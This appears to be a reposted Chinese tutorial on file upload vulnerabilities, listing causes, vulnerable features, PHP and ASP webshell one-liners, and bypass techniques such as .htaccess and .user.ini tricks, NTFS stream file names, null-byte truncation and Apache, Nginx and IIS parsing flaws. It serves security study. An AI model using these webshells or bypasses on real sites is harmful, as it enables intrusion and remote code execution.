文件上传

Posted tomyyyyy

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了文件上传相关的知识,希望对你有一定的参考价值。

文件上传

文件上传的原因

  • 文件上传时检查不严格,可以直接上传php,asp等代码

  • 文件上传后修改文件名处理不当

  • 引用第三方插件

  • 服务器配置不当

  • 开源编辑器的上传漏洞

  • 本地文件上传限制被绕过

  • 文件解析漏洞导致文件执行

  • 文件路径截断

引起的问题

  • 上传可执行脚本
  • 上传flash策略文件,可控制flash行为
  • 上传病毒、木马
  • 钓鱼、欺诈
  • webshell

常见存在文件上传漏洞的地方

  • 头像
  • 网站logo
  • 友情链接
  • 编辑器
  • 后台中的文件上传
  • 模板管理
  • 主题管理
  • 插件管理
  • 写文章
  • 水印图片

webshell

<?php eval($_POST(‘pass‘));?>
<?php eval($_POST(pass));?>
<?php @eval($_POST(‘pass‘));?>
<script language="php"> </script>

<% eval request("caidao")%>

绕过方式

前端过滤

  • 禁用JS
  • 抓包绕过

黑名单

限制内容

  • 后缀
    • php 、php3、 php4、php5、php7、pht、phtml、phar、phps
    • asp、aspx、cer、cdx、asa、asax
    • jsp、jspa、jspx
  • Content-Type
  • 文件头
  • 文件任荣
  • 文件大小

绕过方式

  • 大小写、双写、加空
  • 结合apache解析漏洞
  • .user.ini
  • .htaccess
  • 利用windows特性,会自动去掉后缀名中最后的”.” 在文件名后加 “ .” 绕过

白名单

限制内容

  • 后缀

  • Content-Type

    image/gif

  • 文件头

  • 文件大小

绕过方式

  • %00截断
  • 解析漏洞
  • 文件包含
  • 条件竞争上传

绕过方式总结

.htaccess文件

#类似于把文件名包含1的解析成php
<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>

#将该目录下的所有文件解析为php文件来执行
SetHandler application/x-httpd-php

windows特性

(1)上传 shell. php(%80-99)

Windows特殊字符:

当我们上传一个文件的filename为shell.php{%80-%99}时:
waf可能识别为.php{%80-%99},就会导致被绕过。

(2)文件名后添加.....

Windows在创建文件时,在文件名末尾不管加多少点都会自动去除,那么上传时filename可以这么写shell.php…也可以这么写shell.php::$DATA…。

(2) NTFS ADS特性

上传的文件名 服务器表面现象 生成的文件内容
Test.php:a.jpg 生成Test.php
Test.php::$DATA 生成test.php
Test.php::$INDEX_ALLOCATION 生成test.php文件夹
Test.php::$DATA.jpg 生成0.jpg
Test.php::$DATAaaa.jpg 生成aaa.jpg

1php:.jpg这类文件在上传后,在 Windows中会被保存为一个空的1.php文件,然后可
以再上传一个1.php<>或者1php<或者其他 Windows不允许的后缀,就会覆盖前边那个空的
1.php

Apache解析漏洞

apache2.0、apache2.2

成因
由于 Apache识别文件的规则是根据后缀名从右往左进行识别,遇到不在识别范围内就会自动忽
略,往左进行识别,如果左边是在解析范围內的就会正常解析,而一般程序进行判断文件是否
允许上传是根据最后的后缀名进行判断的。

nginx解析漏洞

1、配置错误导致的解析漏洞
对于任意文件名,在后面加上/任意文件名php后该文件就会以php格式进行解析,是用户配置不
当造成的
2、00截断

  1. 版本 0.5.* |0.6.* | 0.7 - 0.7.65 | 0.8 - 0.8.37
    利用0截断,如shell.jpg%00.php
    访问以下网址,服务器将把xx.jpg文件当做php解析并执行。
    http://www.xxx.com/xx.jpg.php
  2. 版本0.8.41-1.5.6
    利用0截断,如shell.png%20%00.php

.user.ini

使用条件

  • 服务器脚本语言为PHP服务器使用CGI/ Fast模式
  • 上传目录下要有可执行的php文件
  • 例如: PHP study中使用 nginx中间件的时候就可以进行实验。
    使用方式
    (1)、上传一张图片
    (2)、上传 user. ini文件。内容为
    auto_prepend_file=2.jpg
    (3)访问:http://ip/UpLoad/2.png/xx.php(目录中存在的一个php文件)

IIS解析漏洞

IIS 5.×-6.x

  1. 目录名,包含 .asp.asa .cer,则该目录下的文件都将被解析为 .asp文件
  2. 文件名中,分号本身以及后面的都会被系统忽略 a.asp;.gif
  3. 文件名,文件后缀名字中为.asp .asa .cer,cdx 之一,都会被解析为 .asp文件

IIS 7.0-7.5

PHP CGI解析漏洞
在默认Fast-CGI开启状况下,访问以下网址,服务器将把xx.jpg文件当做php解析并执行。

http://www.xxx.com/xx.jpg/.php


参考链接

参考链接




















以上是关于文件上传的主要内容,如果未能解决你的问题,请参考以下文章

将存储在内存中的文件上传到s3

JS创建文件并上传服务器

ajaxFileUpload上传带参数文件及JS验证文件大小

android的自带的httpClient 怎么上传文件

大文件上传下载实现思路,分片断点续传代码实现,以及webUpload组件

如何通过 HttpWebRequest 上传文件?